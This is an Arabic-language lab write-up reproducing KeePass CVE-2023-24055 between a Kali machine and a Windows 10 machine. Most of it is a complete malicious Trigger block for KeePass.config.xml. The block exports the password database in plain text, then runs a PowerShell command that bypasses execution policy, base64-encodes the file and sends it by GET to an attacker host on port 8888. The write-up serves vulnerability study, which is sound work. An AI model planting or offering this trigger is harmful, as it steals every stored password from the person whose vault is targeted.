KeePass-CVE-2023-24055

إعادة إنتاج KeePass CVE-2023-24055 إعادة إنتاج KeePass CVE-2023-24055

تحضير الأجهزة: Kali (192.168.232.129)، Windows 10 (192.168.232.128)
إصدار KeePass: 2.53

المبدأ: عن طريق تعديل ملف تهيئة KeePass.config.xml، إضافة عنصر تكوين المشغل (Trigger) لتصدير كلمات المرور النصية الصريحة وتحميلها إلى خادم المهاجم؛ رمز XML لإضافة المشغل كما يلي:

حيث: حقل <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> هو المسار المحلي لتصدير كلمات المرور النصية الصريحة.

استخدم PowerShell لنقل ملف كلمة المرور باستخدام طريقة GET.

<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>

<Triggers>
				<Trigger>
					<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
					<Name>exploit</Name>
					<Events>
						<Event>
							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
							<Parameters>
								<Parameter>0</Parameter>
								<Parameter />
							</Parameters>
						</Event>
					</Events>
					<Conditions />
					<Actions>
						<Action>
							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
							<Parameters>
								<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
								<Parameter>KeePass XML (2.x)</Parameter>
								<Parameter />
								<Parameter />
							</Parameters>
						</Action>
						<Action>
							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
							<Parameters>
								<Parameter>PowerShell.exe</Parameter>
								<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
								<Parameter>False</Parameter>
								<Parameter>1</Parameter>
								<Parameter />
							</Parameters>
						</Action>
					</Actions>
				</Trigger>
			</Triggers>

تعديل ملف KeePass.config.xml، إضافة عنصر تكوين XML وحفظه (مكان الإضافة: داخل علامة <TriggerSystem></TriggerSystem>)، ثم فتح KeePass للتحقق من نجاح الإضافة:

tu2